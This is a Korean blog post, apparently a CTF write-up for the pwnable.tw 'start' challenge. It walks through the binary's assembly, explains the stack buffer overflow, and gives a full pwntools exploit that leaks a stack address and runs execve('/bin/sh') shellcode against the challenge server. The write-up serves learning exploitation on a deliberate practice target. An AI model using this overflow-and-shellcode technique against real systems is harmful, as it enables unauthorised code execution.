ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

[pwnable.tw] start write-up
write-up(pwn)/pwnable.tw

[pwnable.tw] start write-up

2024. 8. 16. 23:22

 

특이사항으로 스택에 실행 권한이 있다.

 

문제 코드는 다음과 같다.

__int64 start()
{
  __int64 result; // rax

  result = 0x3C00000003LL;
  __asm
  {
    int     80h; LINUX - sys_write
    int     80h; LINUX - sys_read
  }
  return result;
}

 

어셈으로 보면 다음과 같으며 syscall table을 참조하여 해석할 수 있다.

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit

.text:08048060 ; __int64 start()
.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch ; '<'
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn

 

bof가 발생하며 스택 릭을 한 뒤 쉘코드를 넣어 실행해주면 쉘을 얻을 수 있다.

from pwn import *

context.log_level = 'debug'
context.arch = 'x86'

p = process('./start')
p = remote('chall.pwnable.tw', 10000)

p.sendafter(b'Let\'s start the CTF:',b'a'*0x14+p32(0x8048087))

stack_leak = u32(p.recvn(4))
print(hex(stack_leak))
p.recv()

pay = asm('''
	push 0x68732f
	push 0x6e69622f
	lea ebx, [esp]
	xor ecx, ecx
	xor edx, edx
	mov eax, 0x0b
	int 0x80
	''')

p.send(b'a'*0x14+p32(stack_leak+0x14)+pay)

p.interactive()

'write-up(pwn) > pwnable.tw' 카테고리의 다른 글

[pwnable.tw] calc write-up  (3) 2024.09.17
[pwnable.tw] orw write-up  (0) 2024.08.19
    'write-up(pwn)/pwnable.tw' 카테고리의 다른 글
    • [pwnable.tw] calc write-up
    • [pwnable.tw] orw write-up
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바